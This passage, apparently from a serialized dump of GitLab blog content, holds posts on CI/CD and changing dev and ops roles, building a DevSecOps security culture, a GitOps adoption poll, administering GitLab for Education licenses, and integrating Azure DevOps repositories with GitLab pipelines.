with different platforms. We can just code our product and integrate it with a tool to work with different platforms.\"\n\n\"I never create a ticket to ask Ops to deploy.\"\n\nDevs aren't the only ones not doing things they used to. Operations team members also reported radically changing roles. Nearly 40% said their development lifecyle is \"mostly\" automated, meaning they're free now to tackle different responsibilities. Over half of them are managing cloud services, while 42% said they're now primarily managing hardware and infrastructure.\n\nThis is how they described their roles today:\n\n\"We build out and improve the CI/CD platform.\"\n\n\"I'm a Jack of all trades.\"\n\n\"Right now it's 60% new project work and 40% operations/fire-fighting/developer support.\"\n\n\"We ensure reliability and availability, improve developer efficiency, automation, tools, and observability.\"\n\n\"I keep the lights on.\"\n\n\"(I'm responsible for) anything between dev and ops. From planning to deployment but not monitoring and maintaining apps in production.\"\n\n## Lines are blurring\n\nSo at the end of the day what do these DevOps-driven changes mean for the software development lifecycle? For starters, roles are blurring. Over one-third of developers told us they define and/or create the infrastructure their apps run on and 14% monitor and respond to that infrastructure – both of these tasks were traditionally the responsibility of the operations team. In fact, nearly 70% of ops pros said their developers were able to provision their own environments.\n\nDev and ops roles are starting to converge but at the same time developers are doubling down on tasks they consider critical to improving code quality (and thus the speed of code release). Just shy of 50% of developers told us they are now conducting [code reviews](https://docs.gitlab.com/ee/development/code_review.html) weekly but a growing body of anecdotal evidence – based on write-in responses – show that for many teams daily code reviews are a reality, something that would not have been possible if they were bogged down with manual testing and deployments.\n\nGoing forward, the \"free time\" created by [CI/CD automation](https://docs.gitlab.com/ee/topics/autodevops/) won't go to waste, developers told us. A majority want to push their teams to do way more testing of all types (functional, A/B, unit, security) and of course to automate those processes.\n\nWhat should you be doing that you're not doing now?\n\n\"We want to shift left on testing.\"\n\n\"We want to write more test cases to cover 100% of everything.\"\n\n\"We want better code reviews, faster code reviews and more code reviews.\"\n\n\"We should be doing everything better.\"\n\n**Read more about CI/CD and DevOps:**\n\n- Just getting started? Get our [CI/CD guide for beginners](/blog/beginner-guide-ci-cd/)\n\n- [The pain (and promise) of code reviews](/blog/beginner-guide-ci-cd/)\n\n- [Why there is never enough testing](/blog/what-blocks-faster-code-release/)\n\nCover image by [Jason Wong](https://unsplash.com/@jasonhk1920) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[110,4103,8570],{"slug":22698,"featured":6,"template":678},"ci-cd-changing-roles","content:en-us:blog:ci-cd-changing-roles.yml","Ci Cd Changing Roles","en-us/blog/ci-cd-changing-roles.yml","en-us/blog/ci-cd-changing-roles",{"_path":22704,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22705,"content":22711,"config":22716,"_id":22718,"_type":16,"title":22719,"_source":17,"_file":22720,"_stem":22721,"_extension":20},"/en-us/blog/security-culture-devsecops",{"title":22706,"description":22707,"ogTitle":22706,"ogDescription":22707,"noIndex":6,"ogImage":22708,"ogUrl":22709,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22709,"schema":22710},"DevSecOps basics: how to build a security culture in 6 steps","How to build a DevSecOps culture in your workplace. Get there faster by creating a strong security culture.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663608/Blog/Hero%20Images/security-culture-devsecops.jpg","https://about.gitlab.com/blog/security-culture-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"DevSecOps basics: how to build a security culture in 6 steps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2020-07-15\",\n      }",{"title":22706,"description":22707,"authors":22712,"heroImage":22708,"date":22713,"body":22714,"category":8943,"tags":22715},[22656],"2020-07-15","\n_This is the fourth in our five-part series on [DevSecOps](/topics/devsecops/) basics. Part one offers nine tips to truly [shift left](/blog/efficient-devsecops-nine-tips-shift-left/). Part two outlines the steps needed to create [silo-free collaboration](/blog/achieve-devsecops-collaboration/). And part three looks at the importance of [automated security testing](/blog/devsecops-security-automation/)._\n\n## Are you responsible for security?\n\nEven if it’s not in your title or job description, the answer is yes. Every employee is responsible for the security of their work. Unfortunately, many organizations don’t make this clear and don’t enforce it as policy. As vulnerabilities pile up on the desks of security engineers, developers wonder what’s taking so long – how many times does code have to be fixed before it’s deemed secure? [DevSecOps](/solutions/security-compliance/) flips traditional security on its head, but needs a strong security culture for sustainable success.\n\n## What is security culture?\n\nA security culture means that everyone – from board members to interns – must care about security and take actions to maintain it. Security should be considered in every piece of work and at every decision. \n\nThis may seem counterintuitive and not the efficiency promised by [DevSecOps](https://about.gitlab.com/solutions/security-compliance/). But by embedding security into every employee’s actions, the security team’s workload is streamlined and the end product is more secure. This is what companies mean when they talk about shifting security left: Bringing security forward in the software development life cycle to improve planning, test more code, and build accountability among non-security team members. \n\n## How to make security culture your default state\n\nUnless you’ve included security in every employee’s onboarding, creating a widespread security culture mindset will be challenging. Employees will need to think differently, behave differently, and eventually turn those changes into habits so that security becomes a natural part of their day-to-day work. \n\n### Step 1: Culture change starts at the top\n\nIf your organization has left security to \"the team,\" moving to a security culture will require board members and executives to be very involved in this change. Once execs are on board, work with thought leaders across the company to develop a security awareness and training program. Set the tone by making security a company-wide initiative, letting everyone know that security is top priority regardless of job function or organization. \n\n### Step 2: Awareness, education, and mutual understanding\n\nGive employees training on how they should incorporate security practices into everything they do. Transparency is key to building trust, so it’s important that employees understand why security is necessary and how they can contribute to the overall goal. On the other side, educate security practitioners about the demands placed on the business and [DevOps practices](/topics/devops/). This will help them help you create policies that move security and development forward together. \n\n### Step 3: Appoint security champions in dev \n\nSome employees will adopt security enthusiastically. Recruit those people to champion awareness and adoption among their peers. It may be helpful to provide your security champions extra resources and educational opportunities to boost their knowledge and make them an accessible resource for those around them. \n\n### Step 4: Encourage cross-functional collaboration\n\nTeam members should feel comfortable reaching out across functions, asking questions, and sharing (non-sensitive) information. DevSecOps breaks down silos to create a more efficient process, but it also does this to improve communication and build camaraderie between teams. If security is made into a multi-team effort, employees will feel encouraged to jump on the secure work bandwagon. \n\n### Step 5: Give developers the tools they need\n\nSecurity behaviors will be more readily adopted if they fit seamlessly into the developer’s workflow. [Security as code](/blog/how-to-security-as-code/) plays a big role here: Developers can produce more secure work when policies, tests, and scans are integrated into the pipeline and code itself. Excessive tool-switching will negate the benefits of shifting left, so it’s best to maintain efficiency by keeping your tech stack as simple as possible.\n\n### Step 6: Automate when appropriate\n\nAutomation is crucial for scaling security and will make adoption even easier for non-security employees. Within the developer’s workflow, static [application security](/topics/devsecops/) tests can be run against every code commit. Those scans can automatically produce a work ticket or [populate a security dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/). \n\n## Culture change: Worth the challenge\n\nSecurity isn’t an option: It’s a requirement. Security culture will always be worth the effort. Making security a top priority for the people in your organization will fortify your tech defenses and help you innovate in ways that will (hopefully) withstand the ever-changing threat landscape. \n\n_How efficient are your DevSecOps practices? [Take our DevSecOps Maturity Assessment to find out.](https://about.gitlab.com/resources/devsecops-methodology-assessment/)_\n\n**Learn more about DevSecOps:**\n* [How to harden your GitLab instance](/blog/gitlab-instance-security-best-practices/)\n\n* [Why DevSecOps must start with automated security testing](/blog/devsecops-security-automation/)\n\n* [How to capitalize on GitLab Security tools with external CI](https://docs.gitlab.com/ee/integration/jenkins.html)\n\nCover image by [Lindsay Henwood](https://unsplash.com/@lindsayhenwood) on [Unsplash](https://unsplash.com/photos/7_kRuX1hSXM)\n{: .note}\n",[4103,674,754],{"slug":22717,"featured":6,"template":678},"security-culture-devsecops","content:en-us:blog:security-culture-devsecops.yml","Security Culture Devsecops","en-us/blog/security-culture-devsecops.yml","en-us/blog/security-culture-devsecops",{"_path":22723,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22724,"content":22730,"config":22735,"_id":22737,"_type":16,"title":22738,"_source":17,"_file":22739,"_stem":22740,"_extension":20},"/en-us/blog/gitops-next-big-thing-automation",{"title":22725,"description":22726,"ogTitle":22725,"ogDescription":22726,"noIndex":6,"ogImage":22727,"ogUrl":22728,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22728,"schema":22729},"Is GitOps the next big thing in automation?","We polled our community on Twitter to ask about GitOps. Here is what we found.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681428/Blog/Hero%20Images/iac-gitops-blog-post_with-gl-logo.png","https://about.gitlab.com/blog/gitops-next-big-thing-automation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Is GitOps the next big thing in automation?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2020-07-14\",\n      }",{"title":22725,"description":22726,"authors":22731,"heroImage":22727,"date":22732,"body":22733,"category":8943,"tags":22734},[18462],"2020-07-14","\n\nInfrastructure management isn’t a new problem. After all, AWS has been publicly available since 2006. While the software development lifecycle is mostly automated, infrastructure remains a largely manual process that requires specialized teams. Infrastructure needs to be elastic, and automation would make that a much easier process than it is today.\n\n[GitOps](/topics/gitops/) is an emerging technology term that could be the answer many infrastructure teams have been searching for. At its core, GitOps is a process that helps teams automate IT infrastructure through processes they already use in application development.\n\nIt’s a framework we’re excited about. Naturally, we took it to Twitter.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">Where are YOU at with \u003Ca href=\"https://twitter.com/hashtag/GitOps?src=hash&amp;ref_src=twsrc%5Etfw\">#GitOps\u003C/a>?\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1277595216468418560?ref_src=twsrc%5Etfw\">June 29, 2020\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n## What is GitOps?\n\nWhat makes [GitOps](/solutions/gitops/) unique is that it’s not a single product, plugin, or platform. Before we dive into what we can learn from these results, let’s define what exactly GitOps _is_.\n\nAt GitLab, we define GitOps as this:\n\n>GitOps is an operational framework that takes [DevOps](/topics/devops/) best practices used for application development such as version control, collaboration, compliance, and CI/CD, and applies them to infrastructure automation.\n\nGitOps happens in the same version control system as application development, enabling teams to collaborate more in a central location while benefiting from all the [built-in features of Git](https://devops.com/an-inside-look-at-gitops/). Infrastructure teams that practice GitOps use configuration files stored as code ([infrastructure as code](/topics/gitops/infrastructure-as-code/)).\n\nInfrastructure teams then take IaC and make changes using [merge requests](/blog/future-merge-requests-realtime-collab/) (MRs). Once changes are reviewed and approved, they are deployed using a CI/CD pipeline. With infrastructure changes codified, repeatable, and traceable, it leaves less room for human error and gets everyone on the same page.\n\n>GitOps = IaC + MRs + CI/CD\n\nWe thought it would be interesting to reach out to our Twitter followers to see just how many people are exploring this framework, or maybe haven’t heard of it at all. Here’s what we gleaned from our poll.\n\n## 23.8% use GitOps today\n\nWhile we have to admit that GitLab followers are probably going to be a sophisticated group, numbers like this are still very encouraging. If almost a quarter of respondents are using this new framework, it tells us that GitOps is a viable way of automating infrastructure.\n\n## 10.6% plan to implement GitOps\n\nImplementing a new process can be difficult, even for the most organized teams. GitOps allows for greater collaboration, but that is not necessarily something that comes naturally. For infrastructure teams used to making quick, manual changes, this new process is a big departure. If more than 10% of respondents are looking to get started with GitOps, we can help them understand what goes into adopting the new framework.\n\n## 11.6% have looked but not committed to GitOps\n\nThis kind of “shopping cart abandonment” differs from the type we’re most familiar with, but it has some similarities. For those that have heard of GitOps, what prevented them from implementing it and what hurdles did they anticipate?\n\nGitOps principles can be applied to all types of infrastructure automation, including VMs and containers, and can be very effective for teams looking to manage [Kubernetes clusters](/solutions/kubernetes/). But there might be some confusion on whether Kubernetes is required for GitOps (it’s not). Still, over 11% of respondents are familiar with GitOps but may not understand how it can apply to them.\n\n## 54% haven’t explored GitOps yet\n\nSince GitOps is still emerging, it’s not surprising that more than half of the respondents haven’t explored it yet. GitOps is an exciting topic because it offers automation using many of the same tools organizations already use, but before committing to a brand new process, it’s important for organizations to know how it works.\n\nCollaboration is part of what makes DevOps so effective, and [GitOps brings that same spirit of code collaboration into the infrastructure provisioning process](/topics/gitops/gitops-gitlab-collaboration/). Managing infrastructure through the same version control system used for application development brings a new level of transparency across the entire organization.\n\nAs we continue to explore GitOps, information like this poll lets us know where the community is in the adoption of new processes. Could GitOps be the next big thing in automation?\n\nIf you’d like to learn more about GitOps and how it works, check out this panel with GitOps experts from [Weaveworks](https://www.weave.works), [HashiCorp](https://www.hashicorp.com), [Ansible](https://www.ansible.com), and GitLab where we discuss:\n\n*   How GitOps is changing the landscape of infrastructure management\n*   What successful GitOps looks like\n*   What teams need to get started on their GitOps journey\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\nWatch GitLab's [GitOps expert panel](/why/gitops-infrastructure-automation/) webcast\n&nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\n**Read more about infrastructure:**\n\n[Why GitOps should be the workflow of choice](/blog/why-gitops-should-be-workflow-of-choice/)\n\n[How to use GitLab and Ansible to create infrastructure as code](/blog/using-ansible-and-gitlab-as-infrastructure-for-code/)\n\n[How infrastructure teams use GitLab and Terraform for GitOps](/topics/gitops/gitlab-enables-infrastructure-as-code/)\n",[110,4103,267],{"slug":22736,"featured":6,"template":678},"gitops-next-big-thing-automation","content:en-us:blog:gitops-next-big-thing-automation.yml","Gitops Next Big Thing Automation","en-us/blog/gitops-next-big-thing-automation.yml","en-us/blog/gitops-next-big-thing-automation",{"_path":22742,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22743,"content":22749,"config":22754,"_id":22756,"_type":16,"title":22757,"_source":17,"_file":22758,"_stem":22759,"_extension":20},"/en-us/blog/administering-gitlab-edu",{"title":22744,"description":22745,"ogTitle":22744,"ogDescription":22745,"noIndex":6,"ogImage":22746,"ogUrl":22747,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22747,"schema":22748},"Administering your GitLab for Education License","Getting ready for fall semester and wondering how to set up your GitLab License? We've got you covered!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681419/Blog/Hero%20Images/servers_image.jpg","https://about.gitlab.com/blog/administering-gitlab-edu","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Administering your GitLab for Education License\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christina Hupy, Ph.D.\"}],\n        \"datePublished\": \"2020-07-10\",\n      }",{"title":22744,"description":22745,"authors":22750,"heroImage":22746,"date":22751,"body":22752,"category":18484,"tags":22753},[14215],"2020-07-10","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n*It is that time of year again!* Faculty and IT administrators are starting to prepare for the arrival of the fall semester and around this same time, we get an influx of questions about how to best manage your GitLab license. We thought it would be helpful to dive into some of the most frequently asked questions here!\n\nBefore we jump into the tips and tricks, here's a bit of information about the **GitLab for Education Program**. The program offers free, unlimited subscriptions of top-tier GitLab plans (Saas or Self-Managed) to qualified entities. [Qualified educational institutions](https://about.gitlab.com/handbook/marketing/developer-relations/community-programs/education-program/#gitlab-for-education-program-requirements) have a primary purpose of teaching enrolled students, may be public or private, must be accredited by an applicable government body, and non-profit. The GitLab for Education license is only available for the purposes of *teaching, learning, and non-commercial academic research*. IT professional use or any administrative use within the institution is not contemplated with the Education license.\n\nPlease note that the remainder of the blog post applies to the licenses granted through our Education Program.\n\nIf you are interested in joining, [apply for the GitLab for Education Program](https://about.gitlab.com/solutions/education/)!\n\n## Who is eligible for a GitLab.com seat with the Education License?\n\nStudents, faculty, and staff directly employed or enrolled at the host institution are eligible to receive a seat under the GitLab for Education license. Collaborators from other institutions or entities cannot be provided seats under the license, unless they have an email address with the same domain as the host institution.\n\n### If external collaborators cannot have a seat, how do we collaborate?\n\nThere are a couple of different options. One option is to request that the collaborator receive an email address through the host institution. This option is a great one if the collaborator is an adjunct professor or a regular ‘volunteer’ (most institutions allow regular volunteers to have an institutional email address). Another option is to have the collaborator create a free GitLab.com account or purchase a higher tier individually. For this option, the collaborator will only have the features available at the tier for which they signed up. This option might work out fine if the external collaborator just needs to access files and provide feedback.  If your collaborators are at a different educational institution, we encourage that institution to sign up for the GitLab for Education Program themselves!\n\nOnce the collaborator has an account, it is very easy to add them to your group or project.\n* You can [add people to a specific project](https://docs.gitlab.com/ee/user/project/members/#add-a-user) or [import users from another project](https://docs.gitlab.com/ee/user/project/members/#import-users-from-another-project).\n* If the user is not on your hosted instance, you can invite them using [their email address](https://docs.gitlab.com/ee/user/project/members/#invite-people-using-their-e-mail-address)\n\n## How are users counted? What happens if we exceed the allotted seats?\nThe seats for your license are generic and are not specific to a user. [GitLab does not use a named license model](https://about.gitlab.com/pricing/licensing-faq/#can-i-use-my-paid-seats-for-different-users). If a user leaves your institution, you can remove or block that user to free a seat. The seat can then be used by another user.\n\nEvery occupied seat, whether by a person, administrator, job, or bot is counted in the subscription.   There are a few exceptions:\n* Members with Guest permission are not counted (in SaaS or self-managed)\n* Ghost Users and Support Bots are not counted in self-managed (Ghost Users are users where the account has been removed but all artifacts remain).\n\nGitLab.com counts concurrent seats not named users. Each user is able to have up to 100 active sessions. To view the number of active sessions or revoke and active session [check these docs](https://docs.gitlab.com/ee/user/profile/active_sessions.html).\n\nIf more seats are used than are available in self-managed GitLab, the administrator may receive a “users over license warning. In this situation, the institution should reach out to GitLab to request additional user seats.  Please see more details in our [licensing FAQs](https://about.gitlab.com/pricing/licensing-faq/#who-gets-counted-in-the-subscription).\n\n## How do we assign accounts in our GitLab instance?\nThere are a few different options for assigning accounts including creating a signup page, adding users in the Admin Area, or the API. Also, you can create users through integrations with LDAP or OmniAuth providers.\n\nFirst, let’s explore creating a user sign up page. The custom user sign-up page is a great way to customize the experience for the users at your institutions. From the Admin Area, the admin can set up several [sign-up restrictions](https://docs.gitlab.com/ee/administration/settings/sign_up_restrictions.html) including enabling or disabling new signups, requiring user email confirmation, and block or allow email addresses from specific domains. The sign-up page itself can be customized with the institution logo, a description of the purposes of the instance, and other guidelines for who is able to create an account and how they can do so.\n\nCustomizing the sign-up page is great to communicate to potential users what the instance is for and how it can be used. For example, many institutions include a note about the department that maintains the instance and who can sign up. Here are some great examples from [Newcastle University](https://mas-gitlab.ncl.ac.uk/users/sign_in), [University of Kent School of Computing](https://git.cs.kent.ac.uk/users/sign_in), and the [University of Birmingham’s BEAR GitLab instance](https://gitlab.bham.ac.uk/users/sign_in). This is also a great place to include compliance information regarding the uses of the license.\n\n## Does GitLab allow users to login in with the Institutional authentication system?\n\n### LDAP/AD\n\n[GitLab supports LDAP for user authentication](https://docs.gitlab.com/ee/administration/auth/ldap/), compatible implementations include Microsoft Active Directory (AD) and Open LDAP. There are other implementations which only support authorization as login, but no additional LDAP features, which are then greyed out.\n\nYou can secure the connection to the LDAP server with TLS, `simple_tls` and `start_tls` are supported.\n\nNote: LDAP authentication and sync requires a self-managed installation of GitLab. This requires administrative permissions not available in GitLab.com SaaS.\n\n#### Syncing Users and Groups for Permissions\n\nRoles and permissions can be organized based on groups which can be synced into GitLab with an Enterprise license. The GitLab administrator can specify the base DN and filters to exclude certain groups and users from the sync with the ‘user_filter’.\n\nExample for filtering for users in a specific group:\n\nuser_filter: `(memberof=CN=gitlab,CN=groups,CN=accounts,DC=office,DC=company,DC=com)`\n\nThe usage of `memberof` will automatically trigger a sync for this group when a user signs in for the first time. The hourly group sync ensures that all permissions are uptodate. The entrypoint for the group sync is `group_base` which is available in GitLab Enterprise Starter+.\n\nCurrently it is not possible to exclude groups from the sync. [MR here](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3218).\n\n### SSO/SAML\n\nIf your institution has an identity provider such as Shibboleth, Okta, etc. supporting Single-Sign-On capabilities, you are advised to use the generic SAML OmniAuth provider. GitLab then consumes the assertions and maps users accordingly.\n\nFor Kerberos as SSO provider, [check these docs](https://docs.gitlab.com/ee/integration/kerberos.html).\n\nNote: The SAML OmniAuth provider only is available on self-managed GitLab instances. For SAML SSO on GitLab.com SaaS, [please check these docs](https://docs.gitlab.com/ee/user/group/saml_sso/#saml-sso-for-gitlabcom-groups).\n\n### Can students be issued accounts from a bulk list of email addresses?\n\nRather than allowing anyone to sign up or create an account, Administrators can automate user creation of accounts using the REST API. This requires some scripting knowledge. [Here is an example](https://pypi.org/project/gitlab-users/).\n\n### What is the best way to manage student seats?\nInstitutions have the flexibility to determine how many students receive a seat, how long a student is able to retain the seat, and what happens when they graduate. For example, students may sign up for a GitLab seat when they register for a class or become part of a research project. An Institution may decide to allow students to have a seat only during a class or research semester or they may decide to allow the students to have the seats for the entirety of their enrollment. Once the student has a seat, that seat is no longer available in the number of licenses. When the student’s GitLab account is deleted that seat will return to the pool of available seats. Please be aware that when an account is deleted, all projects in the user namespace are also deleted. Additionally, the administrator has multiple options for removing users: delete only the user but maintain their associated records, delete the user and contributions, or to delete the user and their associated records ([see docs](https://docs.gitlab.com/ee/user/profile/account/delete_account.html)). We recommend making this choice with caution. If a student is part of a research project, the team may need to keep issues, notes, and merge requests related to the project.\n\nSince we provide an unlimited number of seats as part of our GitLab for Education Program, we highly encourage institutions to allow students to retain their seat during the entirety of their time at the institution. We encourage students to use GitLab to create a portfolio of their work and contributions while in school. Providing students to retain their account, allows them to build up this body of work while they are in school. The GitLab profile is a great way to showcase how a student has developed skills and made contributions to various projects over time. Prospective employers can visit the profile page and then navigate through the student’s portfolio of work.\n\n![Example Profile](https://about.gitlab.com/images/blogimages/samantha-profile.jpg){: .shadow.medium.center}\nAn exaple of a GitLab Profile with interactive record of contributions.\n{: .note.text-center}\n\nAs students approach graduation, we encourage the institution to provide ample time and sufficient warning before deleting the user account so that students can migrate any relevant material to another repository of their choice. We recommend that students sign up for our free tier of GitLab (self-managed or SaaS) and then begin migrating any relevant content from their projects over to their own personal account.\n\nAdditionally, institutions can consider using the [deactivate](https://docs.gitlab.com/ee/administration/moderate_users.html#activating-and-deactivating-users) or [block user](https://docs.gitlab.com/ee/administration/moderate_users.html#blocking-and-unblocking-users) features to help manage accounts for students who may be nearing graduation.  These options can be combined with a script to check the deactivated or blocked date and then communicate with the API to delete or warn a user that is inactive. This way the students aren’t taking up a seat during the graduation transition but yet they will have time to migrate their files.\n\n## Is an educational institution able to upgrade from the Community Edition to Enterprise Edition through the Education Program?\n\nYes! We recommend that even if you aren’t ready from the start to use Enterprise that you install the Enterprise Edition. You can use this edition even if you don’t have a license. Only the features available under the MIT license will be available without a subscription. Once you are ready to move to Enterprise, the institution can apply to the program, receive the license key and then activate in our Customers Portal without ever needing to install additional software. If you started with the Community Edition, you can still migrate, but there are some extra steps that may require some system down time. [See our migration guide](https://about.gitlab.com/install/ce-or-ee/) for more information.\n\n## Is support available as part of the Education Program?\n\nPriority support is not included with the Education Program license for either self-managed or hosted) is available for purchase at a discount ($4.95 per user / per month). Please note that support must be purchased for all the seats issued in the subscription. [See our support page for more details.](https://about.gitlab.com/support/)\n\nPaid support is not included with the Education Program license.  For assistance with your Education Program GitLab instance, we recommend using our Community Forum by opening a thread in the [Education Category](https://forum.gitlab.com/c/gitlab-for-education/37). We also encourage all program members to [introduce themselves on the forum](https://forum.gitlab.com/c/gitlab-for-education/introductions/38) so we can begin building connections! Check out [my introduction here](https://forum.gitlab.com/t/christina-hupy-senior-education-program-manager/39911?u=chupy).\n\n>The GitLab forum has over 15K users with over 500k pageviews per month and experienced 66% growth last year!\n\nWe do our best to make sure all of your questions are answered and also connect our community with technical experts here at GitLab.\n\n## Why doesn’t GitLab issue licenses to students directly?\n\nAt this time the GitLab for Education Program offers centralized Ultimate or Gold licenses to the educational institution directly rather than individuals. The licenses are distributed in a manner that is intended for large numbers (unlimited in fact!) of users. During the application process, one of our team members verifies that the educational institution and the use case meets the requirements of the program. The education institution then signs our terms and conditions as part of the subscription agreement. Our system is set up to rely on the institutions to issue the accounts to the individual student as they are in the best position to determine their eligibility through their existing authentication and enrollment systems.\n\nAgain, we strongly encourage students to take advantage of our [free (SaaS or Self-Managed) managed offerings](https://about.gitlab.com/pricing/) if they wish to have an individual account. Also, if students would like to demonstrate some of their amazing DevOps skills on their own account, we encourage them to sign up for our [30-day trial](https://about.gitlab.com/free-trial/) to test out some of the more advanced features.\n\nWe hope this post was useful for you and answered many of your questions regarding administration of a GitLab instance in education!\n\n### We encourage you to post any follow up questions you have to our [GitLab forum in the Education Category](https://forum.gitlab.com/c/gitlab-for-education/37). By posting your questions there, you’ll be able to connect with our diverse network of community members and contributors!\n\nCover image by [Ian Battaglia](https://unsplash.com/@ianjbattaglia) on [Unsplash](https://unsplash.com/photos/9drS5E_Rguc)\n{: .note}\n",[6962,534],{"slug":22755,"featured":6,"template":678},"administering-gitlab-edu","content:en-us:blog:administering-gitlab-edu.yml","Administering Gitlab Edu","en-us/blog/administering-gitlab-edu.yml","en-us/blog/administering-gitlab-edu",{"_path":22761,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22762,"content":22768,"config":22773,"_id":22775,"_type":16,"title":22776,"_source":17,"_file":22777,"_stem":22778,"_extension":20},"/en-us/blog/integrating-azure-devops-scm-and-gitlab",{"title":22763,"description":22764,"ogTitle":22763,"ogDescription":22764,"noIndex":6,"ogImage":22765,"ogUrl":22766,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22766,"schema":22767},"How to integrate Azure DevOps repositories with GitLab","How to keep your code in an Azure DevOps repository and run CI/CD with GitLab pipelines.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664363/Blog/Hero%20Images/aleksey-kuprikov.jpg","https://about.gitlab.com/blog/integrating-azure-devops-scm-and-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to integrate Azure DevOps repositories with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2020-07-09\",\n      }",{"title":22763,"description":22764,"authors":22769,"heroImage":22765,"date":22770,"body":22771,"category":734,"tags":22772},[691],"2020-07-09","\n\nRecently we’ve been asked by several people if it is possible to integrate between Azure DevOps/VSTS (Visual Studio Team Services) source code management and GitLab. They are looking for a modern [CI/CD solution](/topics/ci-cd/) like GitLab, but as part of a gradual transition they still need to keep managing their code in Azure DevOps/VSTS. \n\n## Does Azure DevOps integrate with GitLab?\n\nYes, Azure DevOps Services does integrate with GitLab.\n\nAlthough we of course recommend using GitLab CI/CD together with our built-in GitLab SCM, this integration of Azure DevOps source code management and GitLab makes it possible to migrate slowly from Azure DevOps by leaving your code in the Azure [DevOps](/topics/devops/) repository while you adopt GitLab CI/CD. This integration is possible with both the self-managed and SaaS versions of GitLab. The integration works only with Azure DevOps/VSTS git version control. TFVC (Team Foundation Version Control) isn’t supported. \n\n### In GitLab, there are two features that enable this integration:  \n\n[GitLab CI/CD for external repositories](https://docs.gitlab.com/ee/ci/ci_cd_for_external_repos/) \n\n[Remote repository mirroring](https://docs.gitlab.com/ee/user/project/repository/repository_mirroring.html)\n\nWhat is a repository in DevOps?\n\nCode repositories in tools like GitLab and Azure exist to house all source code. Sometimes these repositories are referenced as a DevOps “repo” or a source repository. Whatever the title, code repositories provide a place where developers can work to ensure high code quality. \nGitLab uses a [git-based repository](/solutions/source-code-management/) for source code management with version control. It lets GitLab users perform code reviews and easily solve developer issues.\n\n## What is the difference between GitLab and Azure DevOps?\n\nAzure DevOps has a range of services for managing the development lifecycle. Some of its main features include agile planning boards, private git repos for source code management, and Azure pipelines.\n\nGitLab is a single platform for the entire DevSecOps lifecycle and includes the following:\n\n- Planning and collaboration\n- Source code management\n- Code reviews\n- CI/CD pipelines\n- Constant security scanning and monitoring\n- Advanced deployments\n- Vulnerability management\n\nGitLab can help manage the entire DevSecOps lifecycle to deliver software quickly and efficiently while bolstering security and compliance.\n\n## How do I connect to Azure from GitLab?\n\nIt may take some time to fully move over from Azure to GitLab for source code management. To smooth the transition, there are simple steps to connect to the Azure integration from GitLab.\n\n1. Create a new project in GitLab by clicking the New Project button  ![Create new project ](https://about.gitlab.com/images/blogimages/ado_and_gitlab/ado1.png){: .large.center}\n\n2. Choose the ‘CI/CD for external repo’ tab, and click on Repo by URL.  ![CI/CD for external repo](https://about.gitlab.com/images/blogimages/ado_and_gitlab/ado2.png){: .large.center}\n\n3. Open your repository in Azure DevOps and click Clone  ![Getting clone url ](https://about.gitlab.com/images/blogimages/ado_and_gitlab/ado3.png){: .large.center}\n\n4. Copy the URL. If your repository is private, you will need to generate Git credentials – just click this button and copy the username and password.  ![Credentials](https://about.gitlab.com/images/blogimages/ado_and_gitlab/ado4.png){: .large.center}\n\n5. Paste the URL in GitLab under the Git repository URL, give it a name, set the visibility level, and click create project. Add the username and password in case your Azure DevOps repository is private. Note: The repository must be accessible over http://, https:// or git://. When using the http:// or https:// protocols, please provide the exact URL to the repository. HTTP redirects will not be followed.  ![Create project form](https://about.gitlab.com/images/blogimages/ado_and_gitlab/ado5.png){: .large.center}\n\n6. Your project is now successfully Mirrored to GitLab. Now branches, tags, and commits will be synced automatically to GitLab. \n\n7. To configure a CI/CD pipeline there are two options:\n\nBefore pushing your first commit, open the CI/CD settings in GitLab and enable Auto DevOps.  It will set the CI/CD configuration, so each commit in Azure Repos will trigger a CI/CD  pipeline in GitLab which will build, test, and deploy your app.  ![Auto DevOps settings](https://about.gitlab.com/images/blogimages/ado_and_gitlab/ado6.png){: .shadow.large.center}\n \nAlternatively, in case you want to define the pipeline configuration yourself instead of using the Auto DevOps, add [.gitlab-ci.yml](https://docs.gitlab.com/ee/ci/yaml/) file to  your repository root directory. 